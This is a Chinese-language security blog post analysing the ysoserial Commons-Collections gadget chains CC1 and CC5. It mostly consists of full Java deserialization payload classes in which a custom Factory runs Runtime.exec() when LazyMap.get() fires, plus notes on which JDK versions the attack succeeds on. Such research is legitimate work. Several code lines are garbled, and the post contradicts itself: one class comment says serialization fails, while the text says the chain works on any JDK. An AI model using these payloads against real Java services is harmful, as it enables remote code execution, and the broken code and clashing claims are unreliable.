YSO CC链的研究与衍生

YSO CC链的研究与衍生

0x00

近期重新对yso里面的CC链进行重新研究分析,得出一些新的心得以及一些链的优化和衍生用法。

0x01

在对yso攻击链的分析当中,最有用的资料莫过于在每个payload的最上面的调用链方式。如cc1:

/*
 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
     AnnotationInvocationHandler.invoke()
      LazyMap.get()
       ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
         Method.invoke()
          Class.getMethod()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.getRuntime()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.exec()

 Requires:
  commons-collections
 */

cc1当中,比较关键点的是触发LazyMap.get()方法。 LazyMap意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。我们这样来理解:我们需要一个Map,但是由于创建成员的方法很“重”(比如数据库访问),或者我们只有在调用get()时才知道如何创建,或者Map中出现的可能性很多很多,我们无法在get()之前添加所有可能出现的键/值对,我们觉得没有必要去初始化一个Map而又希望它可以在必要时自动处理数据。transformerChain实际上有点像python的生成器(generator),帮忙在get(key)的时候生成代码value值。

查看LazyMap构造的代码。


final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

使用的是LazyMap的静态方法,进入查看decorate方法。

    public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

    /**
     * Factory method to create a lazily instantiated map.
     * 
     * @param map  the map to decorate, must not be null
     * @param factory  the factory to use, must not be null
     * @throws IllegalArgumentException if map or factory is null
     */
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

发现decorate方法重载了两个方法。一个是传入Factiory对象,一个是传入Transformer对象。 CC1默认的是使用第二种方式,传入的是Transformer对象。这样就是原来链当中一长串链式表达式的内容。

final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(1)});
            
final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            new ConstantTransformer(1)};

同时,该方法最后还要调用反射区去修改Transformer数组。 看到decorate方法的时候,我的想法是能不能走Map decorate(Map map, Factory factory)这一块。按LazyMap的资料,不管是Factory factory,还是Transformer factory,都是代表的是生成器的算法。所以这个链的本质问题又归结为我们要在写一个恶意的生成器算法,当LazyMap.get一个不存在的key时,会调用这个恶意生成器,造成我们想要的结果。按照这个思路,我在原本的CC1类中,定义了一个继承于Factory的匿名类。

public InvocationHandler getObject(String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Map innerMap = new HashMap();
        Factory newFactory1 = new Factory() {
            @Override
            public Object create() {
                System.out.println("create objectFactoryProxy");
                return null;
            }
        };
        final Map lazyMap = LazyMap.decorate(innerMap, newFactory1);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        return handler;
    }

如果反序列化成功,终端会输出一段英文。运行的时候发现报错,内容如下:

generating payload object(s) for command'/Applications/iTerm.app/Contents/MacOS/iTerm2'
serializing payload
Exception in thread "main" java.io.NotSerializableException: ysoserial.payloads.CommonsCollections10$1

说明Factory类是不能序列化的,匿名类需要实现Serializable接口,但Factory又是抽象类,所以需要一个新写一个类继承Factory,然后又实现Serializable接口。我就在cc1类中新建了一个内部类。

public class NewFactory implements FactorySerializable {
        private final String[] execArgs;

        public NewFactory(String[] execArgs) {
            this.execArgs = execArgs;
        }

        @Override
        public Object create() {

            //exp
            System.out.println(execArgs);
//            System.out.println("123123");
            try {
                Runtime.getRuntime().exec(execArgs);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return null;
        }
    }

最终CC1代码改写成:

package ysoserial.payloads;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.map.LazyMap;
import org.junit.jupiter.api.Test;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections10 extends PayloadRunner implements ObjectPayload<InvocationHandler{
    //    成功
    @Override
    public InvocationHandler getObject(String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, new NewFactory(execArgs));

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections10.classargs);
    }


    public class NewFactory implements FactorySerializable {
        private final String[] execArgs;

        public NewFactory(String[] execArgs) {
            this.execArgs = execArgs;
        }

        @Override
        public Object create() {

            //exp
            System.out.println(execArgs);
//            System.out.println("123123");
            try {
                Runtime.getRuntime().exec(execArgs);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return null;
        }
    }
}

这样子,exp直接写在create里面即可。运行,成功执行命令。 如果没有弹框,那就降低一下jdk版本。我在JDK1.8_60下是成功的,1.8_333下是失败的。 通过上述可以把原本难的链式Transformer,变成简单的正常代码执行。

举一反三

上诉关键点使用功能的LazyMap.get(),查看其他CC链,发现CC5也用到了LazyMap.get():

/*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
Requires:
	commons-collections

/
/

所以CC5也可以这么替换成一个简单的攻击链。 直接给出代码:

package ysoserial.payloads;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.jupiter.api.Test;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<Serializable{
    //    序列化就报错,未成功
    @Override
    public BadAttributeValueExpException getObject(String command) throws Exception {
        final String[] execArgs = new String[]{command};
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, new NewFactory(execArgs));

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections9.classargs);
    }

    @Test
    public void test() throws Exception {
        final Map innerMap = new HashMap();
        Factory factory = new Factory() {
            @Override
            public Object create() {
                System.out.println("反序列化成功");
                return "123";
            }
        };
        final Map lazyMap = LazyMap.decorate(innerMap, factory);
        System.out.println(lazyMap.get("123"));
    }

    public class NewFactory implements FactorySerializable {
        private final String[] execArgs;

        public NewFactory(String[] execArgs) {
            this.execArgs = execArgs;
        }

        @Override
        public Object create() {
            System.out.println(execArgs);
            try {
                Runtime.getRuntime().exec(execArgs);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            return null;
        }
    }
}

这个链无论是低版本jdk还是高版本jdk都可以触发,不受jdk版本影响。

其他

github 我在这个fork的代码项目当中加入了一些我自己理解而写的注释,可能理解有误。请自行辩解。

posted @ 2022-10-18 10:49  ph4nt0mer  阅读(113)  评论(0编辑  收藏  举报